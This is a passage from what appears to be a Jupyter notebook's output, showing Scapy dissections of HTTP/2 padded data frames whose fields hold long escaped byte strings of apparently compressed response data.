\\x07\\\\x11\\\\xd4\\\\x1b\\\\xd2{\\\\xea\\\\xfd\\\\xc9\\\\xf9\\\\xfb\\\\xf8(\\\\xdf\\\\xf5Td\\\\x08\\\\xb8\\\\x1a\\\\x00\\\\xeeW*x\\\\x03\\\\xdeV0\\\\rH\\\\xbc9j#\\\\xa8c9\\\\xf0\\\\xf8x\\\\x9bB-\\\\xa8;\\\\x8eC\\\\x9eyoo\\\\xde=\\\\xf3\\\\x1cl\\\\x16\\\\xa2\\\\x01\\\\xdf\\\\xb1\\\\xe0-9\\\\xa9\\\\x16#\\\\xf1\\\\xe1\\\\x1b>wS8\\\\xd7\\\\x1d5\\\\xcc\\\\xb3\\\\xad\\\\xaa\\\\xb8k^\\\\x9a8*\\\\x1e\\\\x97\\\\xc3?U\\\\x11\\\\x95\\\\x86\\\\xa8D\\\\x1cU/;x\\\\xc5\\\\xc1\\\\xef\\\\xa1\\\\x06\\\\x11]xwu\\\\xe9G\\\\xb7J\\\\x04.\\\\xd9%\\\\xd9\\\\xd5%~\\\\xc3\\\\x00\\\\xcb\\\\x14k\\\\xac]\\\\xe3\\\\xaa\\\\xfa\\\\xda\\\\xecr\\\\xe4^)\\\\x97\\\\xe48T|\\\\xe0&\\\\x92\\\\x83\\\\xd1\\\\xe8\\\\xee\\\\xae\\\\nDA6\\\\x12^\\\\xffY\\\\x08\\\\xce(;g\\\\xee\\\\xc6\\\\x89r/<\\\\xcf\\\\xd3]\\\\xe6Q\\\\']\\\\x9f3\\\\xe2B6\\\\xa1^\\\\xf1\\\\xb8\\\\x9a_\\\\x8e\\\\xc8Gqo\\\\xc86\\\\x97\\\\x90\\\\xe3m\\\\x89\\\\x1a\\\\xf1\\\\xc4\\\\xea\\\\xd5/\\\\xd0\\\\xf5),\\\\xa8\\\\x0c%\\\\x16/\\\\xdd\\\\x8cd\\\\x14s\\\\xf5\\\\xea5\\\\x0c\\\\x7f\\\\n\\\\x05\\\\x12\\\\x89\\\\xef\\\\xad\\\\xec\\\\\\\\\\\\x81B\\\\xbc\\\\xda\\\\x90?[\\\\xc7\\\\xce\\\\x0f\\\\x7f\\\\x08L\\\\x86z\\\\xf5\\\\xeft\\\\xf7\\\\x06 >\\\\x85\\\\x0c\\\\xf2\\\\n\\\\x99\\\\xaa\\\\xe4.\\\\x0f\\\\xb7\\\\xf2\\\\x9e\\\\x12\\\\xf5\\\\xea\\\\xb9\\\\xc7vP\\\\x87\\\\xb3\\\\xff\\\\xfd\\\\x0c\\\\x16E\\\\xb1L\\\\x1c\\\\xde\\\\x8f\\\\x9eq<\\\\x1b\\\\xf5\\\\xea\\\\x05\\\\xde~\\\\n\\\\x85\\\\x9fA\\\\xf1[c\\\\x10\\\\x9f\\\\x9e\\\\xaaW\\\\xdf\\\\xe3H{:73\\\\xe1\\\\xa6\\\\x9a\\\\x8f)\\\\xd4\\\\x8fjG\\\\x94\\\\xb0x\\\\x04m\\\\xba\\\\xc5\\\\t\\\\xf9\\\\x08\\\\xd4p\\\\x07\\\\xfc\\\\xdf\\\\x01\\\\x95\\\\xbb+\\\\xe5<#\\\\xefw\\\\xe9\\\\x12\\\\xd7\\\\xbb\\\\x1c\\\\t\\\\x8d\\\\x1c\\\\x81\\\\x96\\\\x1eU\\\\x15S~E(4\\\\x16\\\\xe9\\\\xa5\\\\xda\\\\xe2cE\\\\xa1\\\\xcaI\\\\xb5\\\\xc9\\\\x08}&\\\\xf4\\\\xcb\\\\xa3A5\\\\x1at\\\\x8c\\\\xd2\\\\xaa\\\\x8fH4\\\\xb4H\\\\x00\\\\x03ei\\\\xf6\\\\x80$\\\\x80>\\\\x08\\\\xb1\\\\xa9\\\\x15\\\\xe2\\\\xf1\\\\xd5\\\\x8f|<z\\\\xbf\\\\xa3\\\\xca\\\\xbf\\\\xa8\\\\xcby\\\\xf7\\\\x88\\\\xdc+?\\\\x0b\\\\xddBC\\\\xc1%{4oO~M2\\\\xb2\\\\xf9\\\\x1f\\\\x96\\\\x15\\\\x96\\\\xc1\\\\'2|!\\\\x9e9+0_\\\\xb1\\\\xd1\\\\xd5Lo0\\\\x99x^\\\\xbaKX.\\\\xcb\\\\xf0O\\\\x9a\\\\xddF\\\\x1e}\\\\x95\\\\x82\\\\xc1\\\\x17\\\\xca\\\\xb5\\\\x85e@\\\\x9e\\\\x0e\\\\xcbv\\\\xf4\\\\x1c\\\\x9f\\\\xf5D\\\\xc9\\\\x8e:\\\\x1f\\\\xb3\\\\xe3o\\\\xac\\\\x1f\\\\xde\\\\x7fc}\\\\xcf\\\\xbf@\\\\x95\\\\xf7\\\\t13\\\\xa1\\\\xf7 \\\\xc2nY\\\\x95\\\\x80a\\\\xa1)\\\\xe2q\\\\xcd\\\\xc7 \\\\x8a\\\\xe7\\\\x05%H\\\\xf1\\\\xb5\\\\x12x\\\\xfcM\\\\x02\\\\xbe\\\\x8e\\\\x9fwq\\\\x1f\\\\xe6\\\\xd18.\\\\x8e\\\\xd6\\\\xab\\\\xfb\\\\xe2MH~_hf\\\\xebh\\\\x07?\\\\xa6\\\\x85-\\\\xb2\\\\xb0P\\\\x1f\\\\xd5\\\\xb0L\\\\x0c\\\\xab,\\\\x94;\\\\'3\\\\xab\\\\xddi\\\\xce\\\\xe6\\\\xc7\\\\xce\\\\xe2\\\\xc7\\\\x88#\\\\xc3\\\\xff~\\\\xe9\\\\x96\\\\xf9S8U\\\\xb9\\\\xe5\\\\xa7g`\\\\x1b\\\\xe9\\\\xf6\\\\xe8c\\\\xd5\\\\xf2\\\\xe1\\\\x1a~\\\\xc9l\\\\x1c\\\\x15ltG\\\\xdd\\\\xd2\\\\xf4\\\\xab\\\\xbd\\\\x7f\\\\xd5\\\\xf3\\\\xf1\\\\xb1\\\\xf4F\\\\xb8u<;\\\\xb6[\\\\x8f\\\\xc7\\\\xd5j?\\\\x10\\\\x10\\\\xf0\\\\xf3aG}\\\\x91Bh(\\\\xbe)V~L7\\\\xc8,.V\\\\xdc\\\\xaa\\\\x90\\\\xc7\\\\x88\\\\xf9\\\\x1d\\\\xb4B\\\\x04B\\\\x83\\\\x01\\\\x16\\\\xd5\\\\xe9\\\\xae\\\\xa4\\\\xd0\\\\xf88\\\\x01\\\\xf0\\\\xe2\\\\xdb\\\\xec\\\\xe5p\\\\xd7\\\\xcb\\\\xae\\\\x0b}\\\\xd9x\\\\xc2\\\\x02I\\\\x05\\\\xcfk\\\\x80[B\\\\'\\\\x05\\\\x05,\\\\xc7\\\\x90GY\\\\x98\\\\xc2\\\\xcd\\\\x8b\\\\xeb7\\\\xaa\\\\x82\\\\xaf\\\\xb99\\\\xea:WK\\\\xf5\\\\xf9r\\\\xb5\\\\x91\\\\x0f\\\\xebt\\\\xf93\\\\xcb\\\\xa6\\\\x1a\\\\xf9\\\\xb2\\\\x16\\\\xab\\\\xfc\\\\xa1`\\\\xb5\\\\xec\\\\'\\\\xd6j\\\\xea\\\\x8dx\\\\x00\\\\xa7V*8\\\\x99\\\\x1c\\\\x99)\\\\x0e\\\\xc1\\\\x0b=:\\\\xa5\\\\xda\\\\xc5G\\\\x9a\\\\x00\\\\xc5\\\\x9f\\\\xd4Ix9\\\"\\\\xb0p\\\\xb5\\\\xb0\\\\xdfB\\\\xdeUd\\\\x07\\\\x9d\\\\xc33J\\\\xf0\\\\x16[\\\\xacI\\\\x1d5\\\\xc5<\\\\x02\\\\xb9\\\\x9b\\\\xbba\\\\x8a\\\\xf37\\\\xe4^d2 c}</\\\\x99\\\\xfc^\\\\x95\\\\x12U\\\\xb5\\\\xa6$\\\\xdc2F\\\\x9c\\\\x13\\\\r\\\\xe5\\\\xa9\\\\xb1\\\\xcc\\\\xcf\\\\xd5\\\\x06\\\\x0b]\\\\x17z \\\\xa9ci\\\"uV$\\\\xc8\\\\x9b\\\\x16\\\\x9bpY\\\\xf2\\\\xa2\\\\xdcG\\\\xbes7\\\\x11\\\\xee\\\\x84\\\\xbb\\\\xf3RK]\\\\xfee\\\\xfdW\\\\x9b\\\\xd5\\\\xc0\\\\xc2Gw\\\\x03\\\\xa3\\\\xf6\\\\xb5\\\\x85\\\\xf4f\\\\x8d\\\\xd5\\\\xb2\\\\xad*\\\\x82\\\\x8c\\\\x04!\\\\x15\\\\x07N\\\\xf1\\\\x07\\\\xcd\\\\xe1\\\\x84u]\\\\x9d\\\\'n\\\\xbe]\\\\x1eg\\\\xfd\\\\x1f\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff'\\n\",\n        \"     padding   = '\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x15b2\\n\",\n        \"  type      = DataFrm\\n\",\n        \"  flags     = set(['Padded (P)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 5L\\n\",\n        \"###[ HTTP/2 Padded Data Frame ]### \\n\",\n        \"     padlen    = 189\\n\",\n        \"     data      = '\\\\xdc=\\\\xdbv\\\\xea\\\\xc6\\\\x92\\\\xef\\\\xf3\\\\x15\\\\n\\\\x99\\\\xec\\\\x93\\\\xacc\\\\xee\\\\x17\\\\x03\\\\xfb\\\\xe0,\\\\x19\\\\x9b\\\\x8b16\\\\x18\\\\xe3[\\\\x92\\\\xe5%\\\\xa4\\\\x06\\\\xb5\\\\x11\\\\x92\\\\xac\\\\x0b\\\\x18\\\\x92\\\\xfcK\\\\xde\\\\xe7\\\\x13\\\\xe6e^\\\\xe7/\\\\xce\\\\xdb,\\\\xff\\\\xc5TuK a\\\\xecmc\\\\xd8;{\\\\xaf\\\\xec`]Z\\\\xdd]\\\\xd5\\\\xd5U\\\\xd5U\\\\xddU@7/\\\\xb27%D&\\\\x9f\\\\xda\\\\x9e\\\\x17\\\\xd8\\\\x85\\\\x17y2\\\\xcb\\\\x17\\\\xf3:4H\\\\x8e\\\\x1e\\\\xbe\\\\xc7]v\\\\x02nT\\\\x13p\\\\xfb\\\\x97\\\\x80\\\\xfb\\\\xb8\\\"{\\\\xe7\\\\x06J\\\\xf3%F\\\\x1f\\\\xc1\\\\x02\\\\x91\\\\xbd\\\\xb9\\\\x12\\\\xe1}z\\\\x04\\\\x1f\\\\xf8\\\\xac\\\\xd0S\\\\x1c\\\\xefK\\\\x8cX?H#\\\\xf3#%<\\\\xa0\\\\x03\\\\xbb1\\\\xad\\\\x91R\\\\xa2c\\\\xddfw\\\\x9eB\\\\xa9\\\\xe9#~?\\\\xd74\\\\xd9K\\\\xa9t\\\\xc5.p\\\\xcd\\\\x90\\\\x90\\\\xd4n\\\\xe3p\\\\x02\\\\xaay\\\\xa1w\\\\x90\\\\x1a\\\\xd7\\\\xda\\\\xa2zQN\\\\x9d\\\\x19\\\\x8dZ\\\\xfb\\\\xa8*\\\\x8aF\\\\xfbV\\\\xec\\\\xd6\\\\xf7\\\\xdbA\\\\x8d\\\\xf4\\\\xcbt\\\\x7fL\\\\x95u{\\\\x0f\\\\xd4rA\\\\x95G\\\\xe3\\\\x0b\\\\xf6\\\\x1e\\\\x94\\\\xd8u{?YVw\\\\xbf\\\\x0c\\\\x04\\\\xb6j\\\\x98k\\\\x82P\\\\x16#{\\\\x1d\\\\xf8\\\\xdc\\\\x04\\\\x1e\\\\xbf&\\\\x00/\\\\xadx\\\\x82@\\\\xb9\\\\xa3R\\\\xf2)tkt\\\\xb9\\\\xbdX;}\\\\x19|\\\\xf7\\\\x86\\\\xebRL\\\\x19\\\\xe8\\\\xfd\\\\x98\\\\x8e\\\\xad\\\\xd0l]\\\\xc0\\\\xf0~\\\\x0e\\\\xb8\\\\x99z8\\\\xd3fKwf\\\\xa6\\\\xb8\\\\xa3=\\\\x13\\\\x06:\\\\xe2\\\\xdfQ@\\\\xac+s\\\\x81\\\\xab\\\\x10{\\\\x88;\\\\x8f<\\\\x15g\\\\x1e\\\\xf1\\\\xe3v\\\\xdf\\\\xdd\\\\xc1\\\\x1f\\\\xef8\\\\x92\\\\x7f\\\\xed\\\\xc7\\\\xb6\\\\x90\\\\xf0\\\\x9e\\\\xbf\\\\xe1\\\\x97\\\\xcf\\\\x9d\\\\x9d\\\\x1a\\\\xee\\\\xf7BG\\\\xa0\\\\xd8\\\\x81\\\\xd5\\\\xe5}\\\\xed\\\\xaf?\\\\xd4\\\\xbapVz\\\\xca\\\\x0cS*\\\\xf9\\\\x16\\\\xdb\\\\x15:0h\\\\xbd\\\\xa9\\\\xb9\\\\xf9\\\\x02d\\\\x04\\\\x8f\\\\xf5#\\\\x9c\\\\xf2U (\\\\x9a)X\\\\x07j~\\\\x89\\\\x11Q<\\\\x1d\\\\xaf\\\\xa7\\\\xb0\\\\x98:\\\\xc1\\\\x97N\\\\xcfa\\\\xcf\\\\x16\\\\xf7\\\\x86\\\\xed\\\\xe9\\\\xb4\\\\xd6-\\\\x97>\\\\x82Fl\\\\xc1\\\\x94\\\\xa6P1~\\\\x1b*\\\\xeb\\\\xf2\\\\xb2\\\\xb2\\\\x83\\\\x07/`\\\\xc9dM+gAB\\\\xbf\\\\x7f/\\\\x81;\\\\x1e}\\\\xdb%h\\\\xa38o\\\\x83=\\\\x95\\\\xadR\\\\xf8\\\\xc1\\\\xdbH\\\\xdf\\\\x9ct\\\\xeb\\\\x07\\\\xc0,[\\\\x00\\\\xda_E\\\\xa1bI\\\\xb0\\\\x88\\\\xe43\\\\x00\\\\xe1\\\\x8c\\\\xbb\\\\xda\\\\x9e\\\\x0f\\\\xf1\\\\xdb0\\\\xe6\\\\x10\\\\x8e3\\\\x8c\\\\xb7\\\\xe4\\\\x92\\\\x17\\\\xd0\\\\x06\\\\x1f`\\\\x99\\\\xdb$\\\\x8b\\\\xc9\\\\xb4\\\\r\\\\xa4iV\\\\xd1o\\\\x81=\\\\xd3\\\\xac\\\\x12\\\\xbb\\\\xf7n\\\\xd7E\\\\x18\\\\x08v\\\\x81\\\\xe8B\\\\x1fP\\\\xf6\\\\x7f\\\\x12\\\\xb5\\\\xdf\\\\x83\\\\xb4{\\\\x05\\\\xb1\\\\x86\\\\x1e\\\\'\\\\x81\\\\xea\\\\n\\\\xed\\\\xf7\\\\x1f\\\\xd1\\\\xbeJ\\\\x9eG\\\\x1a~\\\\xa0n\\\\t]Pwq\\\\x1d\\\\x9d\\\\xc7\\\\xc7\\\\x8c\\\\xd04\\\\xa8n\\\\x0b\\\\xca?\\\\\\\\\\\\x9d\\\\x08*q\\\\xad\\\\x00==\\\\x07\\\\x8b\\\\xb2EX\\\\xd6\\\\xd1\\\\x80\\\\x96a!B*\\\\xf3\\\\x17\\\\x83\\\\xc5\\\\xfe40\\\\x93-\\\\x023\\\\xd9\\\\xd4\\\\xc0\\\\xd8d$Q\\\\xfd\\\\x15C3\\\\xda\\\"4\\\\xa3\\\\xcd@#\\\\x8c\\\\x0c\\\\xfa\\\\x8aq\\\\x99n\\\\x11\\\\x92\\\\xe9\\\\x86 \\\\x91\\\\xf4w1_\\\\x1a\\\\x14W\\\\xd6#\\\\xda\\\\x93%\\\\xe7%\\\\xe6Ko\\\\x93\\\\xdb\\\\xe2\\\\xba\\\\xb4\\\\x98|\\\\x07R\\\\x9a\\\\x86#\\\\xfc\\\\x1b\\\\x06\\\\xd6Y\\\\x85\\\\x0f~\\\\x15Z_\\\\xae\\\\xb6\\\\x91-\\\\xceC\\\\x86W\\\\x99\\\\xb6\\\\xa7\\\\r\\\\x04N\\\\x13F\\\\xf6\\\\x0e\\\\xf51\\\\xb5\\\\x0c]H\\\\x16\\\\x12\\\\x1f\\\\xbeO\\\\xe6\\\\x12\\\\x1f\\\\x13\\\\x89\\\\xc4_\\\\x01$\\\\x06\\\\xcd\\\\xc6\\\\xf8e\\\\xa0\\\\x1d\\\\xff\\\\xccddo\\\\xa9\\\\xd8\\\\\\\\\\\\xf7\\\\xf2\\\\x1fP\\\\xfe\\\\xa1\\\\xa1\\\\x85\\\\xfa3@#^\\\\xda\\\\xbf\\\\xe3\\\\x82\\\\xd0\\\\x1b\\\\x08\\\\xd7\\\\xd2`\\\\x14\\\\x02fc\\\\x9b\\\\xc8\\\\n\\\\x19\\\\xb3\\\\xf8\\\\x86\\\\xa6e\\\\xdc\\\\x11\\\\xd9\\\\xb1\\\\xe3l\\\\x90\\\\xe2>\\\\xba\\\\xbb\\\\xafGwe0\\\\xe86E\\\\x91/\\\\x03\\\\xecAI\\\\xac\\\\xb4\\\\xef\\\\xca\\\\'\\\\xb5\\\\xda0}x\\\\x9d\\\\xbfI\\\\xb6\\\\xba\\\\xbb\\\\x07w\\\\xb2\\\\xa8\\\\r\\\\xab\\\\x9939}ag\\\\x0b\\\\xd8\\\\xd3\\\\xde^\\\\x07\\\\xdbcN\\\\x9c\\\\xa8\\\\xd0!\\\\xf2\\\\x01\\\\xef\\\\x8fg\\\\xe1K\\\\x87Q\\\\x1d\\\\xc6\\\\xfcp\\\\xbcl\\\\x19\\\\xf3\\\\xcf\\\\xba2U\\\\x17\\\\x0f\\\\xbd\\\\xef=\\\\x07%4l\\\\xfb\\\\r\\\\xc7\\\\xff\\\\x15geC+\\\\x0c}\\\\xbf\\\\x176l\\\\x857\\\\xd6E\\\\x04C\\\\x975*\\\\x0fK\\\\x9e\\\\xeb.\\\\x86\\\\x8e;\\\\xcf?\\\\x16a[\\\\x1a\\\\xa3\\\\xe4\\\\xc1\\\\x94t\\\\x05\\\\xfd\\\\x82}I\\\\xb3\\\\x89\\\\xf7T\\\\x95l\\\\xd30]P\\\\xb5\\\\xd1\\\\xce\\\\x1d\\\\xc1\\\\xb8 \\\\xccA\\\\xc9\\\\x8cq\\\\xbe\\\\xbf\\\\x10n>\\\\x85\\\\xee\\\\xdd\\\\xfdD\\\\xbdr.\\\\x8aKV\\\\xa5\\\\xdb\\\\xd3D\\\\xc0\\\\xce\\\\xb3\\\\xbc\\\\xe8\\\\x08\\\\x06\\\\xf4\\\\xf2\\\\r\\\\xe6\\\\x91e\\\\xafhD\\\\xb0\\\\x0c\\\\x86Tv\\\\xbd\\\\xe8_\\\\x14\\\\xe77N\\\\x97\\\\xc5\\\\xf4\\\\xc7\\\\xa3&\\\\xa1\\\\x85\\\\xd8\\\\r\\\\xdc\\\\xaf&7\\\\xd2\\\\x93%Y\\\\xf5\\\\xfd8\\\\xe8*\\\\xf1\\\\xc2\\\\\\\\2w@\\\\xc8\\\\x9e\\\\xcf\\\\n\\\\x16E\\\\x9bVNT\\\\xad\\\\x962\\\\x87G\\\\xc5W\\\\x11\\\\xed\\\\x0f\\\\xa9lj\\\\x9f]\\\\xfe\\\\x90\\\\xca\\\\xa9\\\\x1a\\\\xd4\\\\xd4\\\\xb7\\\\xe0Jv\\\\xb0NM\\\\x1f\\\\xaeA\\\\xd4uqp\\\\xf5\\\\x94\\\\xa8\\\\x0fm9g4\\\\xaeN\\\\xf7{\\\\xb4\\\\xad\\\\xe8\\\\xd3q\\\\xf2x&f\\\\xf6\\\\xc9A\\\\xe20;\\\\xc0\\\\xc9/0\\\\x08V\\\\x89\\\\x91\\\\x17\\\\x11\\\\xe61\\\\xca\\\\x10s\\\\xbc/1#\\\\x1aQ\\\\x8a/\\\\xc3\\\\xfe\\\\xcf\\\\x05s\\\\x05\\\\x9e\\\\\\\\Z\\\\x87_\\\\xd6&\\\\x83\\\\xeb&\\\\x12\\\\x14WHm:\\\\xa2\\\\x9aDCzJ\\\\x90[\\\\x06~CfMgiZS[\\\\x90\\\\x04\\\\xd3\\\\x98\\\\xc0\\\\xb2\\\\r\\\\x04\\\\x0f;`\\\\xc47\\\\xea\\\\xc2\\\"H\\\\x1e\\\\x12G\\\\x18I:5]\\\\x8d9\\\\xe9\\\\x04\\\\x00k`I\\\\xa3\\\\x98Pw\\\\xd8\\\\x97,\\\\x98\\\\x9c!\\\\xf4\\\\x01d\\\"\\\\x18\\\\x96\\\\xf0\\\\xaf\\\\x9e\\\\xb5\\\\xf7\\\\x1f\\\\xe8\\\\xd4S\\\\xfc\\\\xefm\\\\xc1\\\\xe8C\\\\x0b\\\\x13\\\\nOtw\\\\xd4#\\\\x16>\\\\xf0\\\\xb7\\\\x80\\\\xd9;\\\\xa0\\\\x9f\\\\xe8\\\\x8a\\\\xe0\\\\xa8d\\\\x04s\\\\x16\\\\xffBQ\\\\x8b\\\\xec\\\\xc0\\\\x18\\\\x99\\\\x0eha\\\\xdc\\\\x8e\\\\x19\\\\x8b\\\\xc5\\\\xfcI\\\\x83\\\\xbe\\\\xa2\\\\x00\\\\'0lmM\\\\x1e\\\\xaa\\\\x18\\\\xf2:|41\\\\xa8\\\\xd7\\\\xabt \\\\xae \\\\xbb\\\\xfa\\\\xa4.[\\\\x86\\\\x9a\\\\xbd\\\\x16\\\\xfb\\\\xd5\\\\xb3h}\\\\xb7z]Q\\\\x8e\\\\xa9|ry\\\\x88\\\\x16\\\\x1el\\\\xf4\\\\x1f \\\\xfc\\\\xbd\\\\xed$\\\\x0c\\\\x9f\\\\xdf1G]TX\\\\x1b\\\\x00\\\\xd7\\\\x06b\\\\x88a\\\\xa8\\\\xc6uA\\\\x99\\\\x0e\\\\xf6\\\\x9f\\\\x82R\\\\x19)\\\\xd1\\\\xdd\\\\x06\\\\xed\\\\xe5\\\\xa5\\\\xccq\\\\x99\\\\xea\\\\xc9\\\\xa1\\\\x9c\\\\xa8\\\\x1ee\\\\x13\\\\xfb\\\\xf5N\\\\x06@\\\\xe9b\\\\xa3\\\\xef\\\\xea9\\\\x19\\\\x19\\\\xef\\\\xe9t\\\\xad<(\\\\xaf\\\\x90e\\\\x17v.\\\\xe1\\\\xce&m[\\\\xad\\\\xa52\\\\x83\\\\xb3j\\\\xbes\\\\xa4\\\\xe4n\\\\xbb\\\\xd5\\\\xec\\\\x04\\\\xd4\\\\x8c\\\\xb6\\\\x0b\\\\xe2@\\\\xc0\\\\x96\\\\x85\\\\xa2\\\\x80^\\\\xdb\\\\x05\\\\xa5\\\\xbf\\\\x03\\\\x14\\\\x07T\\\\xebu\\\\xa9\\\\xa8\\\\xd6\\\\x19\\\\x1c\\\\xac\\\\xa0\\\\xa26\\\\x9dM\\\\x1aW jnv5\\\\xcd\\\\xb0\\\\xef\\\\x1e*\\\\x85D\\\\xfb>Y\\\\xbdIL<*\\\\xc2F\\\\x9f\\\\xd8\\\\xae\\\\x9eX\\\\xe16\\\\xa3i\\\\xbc\\\\x9b\\\\xc8@\\\\xef\\\\xe87\\\\xc5\\\\xc3\\\\xb7\\\\x13\\\\x98\\\\xf0\\\\xe1\\\\xfb|*\\\\x99\\\\xfa(\\\\x84\\\\xd8\\\\xd58\\\\x15K\\\\xc6\\\\x92Q\\\\xe8mx&}9\\\\xf5$\\\\x8c\\\\xa1\\\\xafVY\\\\xa9\\\\x1f\\\\x88\\\\xfb\\\\xdf\\\\xac\\\\xb2R\\\\x1f\\\\xb65\\\\xbb%\\\\xf7\\\\xa4\\\\x8b\\\\xee+\\\\x95\\\\x95\\\\xf0\\\\xa8nGu\\\\xa1\\\\xab\\\\xe6E>=\\\\xa8;U\\\\xf1\\\\xa0s{vY\\\\xef\\\\xcb\\\\'\\\\x8dQ2Q\\\\xbd\\\\x99\\\\x1d\\\\xf7\\\\xda_Hu\\\\tcb3\\\\x8a\\\\xcc\\\\x1d@\\\\xbeAE\\\\xe6\\\\xc3\\\\xf7\\\\xe9\\\\xc2G\\\\x9b\\\\xab3\\\\x01\\\\x05\\\\xc6V\\\\x89\\\\xa6\\\\xa1\\\\x9ab\\\\xb9\\\\xc8\\\\xefA\\\\x0b\\\\x81w#\\\\xaaK\\\\x1a(\\\\x1d\\\\xb6\\\\x8d[\\\\xd1\\\\x853\\\\x8c\\\\xc1lZtL5\\\\x82\\\\xbd\\\\x91,PS\\\\x08\\\\x86\\\\xa7\\\\xe1\\\\xba\\\\x0c(7\\\\xbe\\\\x82\\\\xe2+4\\\\xa0\\\\xb2\\\\x18\\\\xc2\\\\x84\\\\xb0F\\\\xa1\\\\xb4kS} \\\\xd8\\\\xaeb\\\\x08*\\\\xb1HQ\\\\xf8O~\\\\x13d\\\\x12\\\\xc2%\\\\xd1\\\\x804\\\\x99\\\\xae\\\\x14dg+\\\\xb5\\\\x9b\\\\xf7\\\\xf0st\\\\x02\\\\x19&\\\\xd1Y)\\\\xcb0F6\\\\x9b\\\\x122\\\\xac\\\\xda\\\\x01\\\\xe4\\\\xb8\\\\xa7\\\\xcb\\\\x91YT#v\\\\xd4\\\\x94\\\\xee]\\\\x80\\\\'\\\\n\\\\xa8\\\\'\\\\x92\\\\x1b\\\\x95\\\\xc6D\\\\x8e.\\\\x86\\\\xf7\\\\xcdl^k\\\\x8a\\\\xf5er\\\\x1e\\\\xda\\\\xc3kRKM\\\\xaf*\\\\xbaD\\\\x0e\\\\xdb\\\\'G\\\\x83l\\\\xb7pz\\\\x99\\\\x1b\\\\xcb\\\\xcc\\\\x83\\\\xe4\\\\xf5\\\\xc6\\\\xb3\\\\xb9\\\\xb3\\\\xde\\\\xa01\\\\x03z#`o\\\\x84\\\\xa5\\\\x05\\\\xe8)@V\\\\x9eC\\\\xb6).\\\\xff\\\\x02\\\\xde`d^\\\\x81\\\\xb3\\\\xe0H\\\\x7f\\\\xb5\\\\xfc\\\\xff\\\\xe8N,\\\\x7f\\\\xb3\\\\xfc\\\\xbf\\\\x93=P\\\\x86\\\\xb6}~ig8\\\\xff\\\\xdf\\\\xcc<\\\\xd9\\\\x8eX0\\\\x9e\\\\xce\\\\xa3\\\\xea\\\\xb1y<\\\\x99\\\\xb9\\\\xd9D\\\\xbe3k\\\\xd7\\\\xecV\\\\xb4\\\\xdb\\\\xcfL\\\\xeeo$5\\\\xbf+nM,l\\\\x0eO\\\\x9b\\\\x11\\\\x1a&\\\\xe0e\\\\x03B#\\\\x95\\\\x10tc\\\\x1c\\\\x13R\\\\x89d\\\\x1a\\\\x19\\\\x0c\\\\xe3\\\\xbe\\\\xb8I9\\\\xc8k\\\\x88\\\\xed\\\\x08\\\\xcc\\\\xdc\\\\xac\\\\x00t\\\\xb0<v-\\\\xa15uT\\\\\\\\\\\\x01\\\\x83\\\\x08!\\\\x0e\\\\x06\\\\xf0Ag\\\\x01[\\\\xf8Z;\\\\x02\\\\xd1\\\\xc7\\\\xc6\\\\x14/\\\\xacG\\\\x990\\\\xc7\\\\xa4\\\\x0e\\\\x0b]X=3!\\\\xe2\\\\xa3\\\\xc9\\\\x82O\\\\x96\\\\x19]L\\\\xe8P\\\\xe0\\\\x7f>\\\\xdb\\\\x1b\\\\xa3M\\\\x17\\\\x84\\\\xd8#\\\\x80f\\\\x13\\\\xa8a+\\\"\\\\xa2o\\\\xc5&tHML\\\\x85\\\\xc1d>\\\\xde\\\\xc5;\\\\xeb\\\\xf3~\\\\xbb)6\\\\x97i\\\\xf6\\\\xbcN\\\\xc7\\\\xc7m\\\\x9a\\\\xb8\\\\xea\\\\x0f&\\\\xd7\\\\xbax\\\\xd0R\\\\x9b7\\\\x8d\\\\x9bl\\\\')\\\\x8bK6\\\\x08_\\\\xd3\\\\xbf\\\\xc4>=B\\\\x9f6\\\\xcd\\\\xdaW\\\\xc3\\\\x1b\\\\xec\\\\xc3W\\\\xcb\\\\xb7\\\\x8f\\\\xcf\\\\xc5\\\\x83o\\\\x96o7m\\\\xe5\\\\xc0\\\\xd6\\\\x12\\\\xed\\\\x93Ky\\\\xc1\\\\xb7_ \\\\xde\\\\xed0\\\\xe4\\\\xf1S\\\\xe2\\\\xae\\\\x94\\\\'\\\\xd5\\\\xcb|F\\\\xbf==\\\\xcd]\\\\xd5\\\\xb5C\\\\xb3\\\\xa9\\\\xf6\\\\xad\\\\xf1\\\\x90\\\\xe4\\\\xe4\\\\xe8\\\\xf6\\\\x19\\\\xf2\\\\x0b\\\\x08\\\\xd8\\\\x0c\\\\xa7\\\\x9d\\\\x00\\\\xc0\\\\x9b\\\\xb63z\\\\x1cU3\\\\x06T\\\\xa6\\\\x04\\\\x93\\\\x81\\\\xf4@y\\\\x06\\\\x16\\\\x1a\\\\xb2/2\\\\xb3aH\\\\x0f|\\\\x94-\\\\xea\\\\xa0\\\\xfb\\\\xddd\\\\xfc7&\\\\xd45\\\\xceT\\\\xb1B\\\\xa8\\\\x9d%(\\\\x81\\\\xf7\\\\x0e\\\\xd4&\\\\xb9\\\\xb8\\\\xf9}GP\\\\x98n\\\\xce\\\\x96\\\\x02\\\\xc8\\\\x8d\\\\x81\\\\xef\\\\xa2\\\\x99\\\\xd2\\\\x92\\\\xfaT\\\\x06\\\\xdd\\\\xdc\\\\xc2~\\\\xd8d\\\\x80\\\\xb6\\\\x03\\\\xaf\\\\x95\\\\x9d\\\\xb5\\\\xcd\\\\x8c\\\\x9f$\\\\xc8\\\\xb48\\\\x06Y\\\\xc1\\\\xb2h(\\\\xe4v]\\\\xf5\\\\x1a\\\\xedEMfu\\\\\\\\\\\\xa6\\\\xc4\\\\x9a\\\\xbb_=\\\\xbdJX\\\\xe3h\\\\xf7\\\\xf8\\\\xbe\\\\x7f\\\\xefv\\\\xf5\\\\\\\\\\\\xa5Ro\\\\x1fYwh\\\\xec\\\\x9e7\\\\x8e\\\\x98\\\\xf5\\\\x94\\\\xd4g\\\\x8d]\\\\x9f\\\\x86\\\\xe5\\\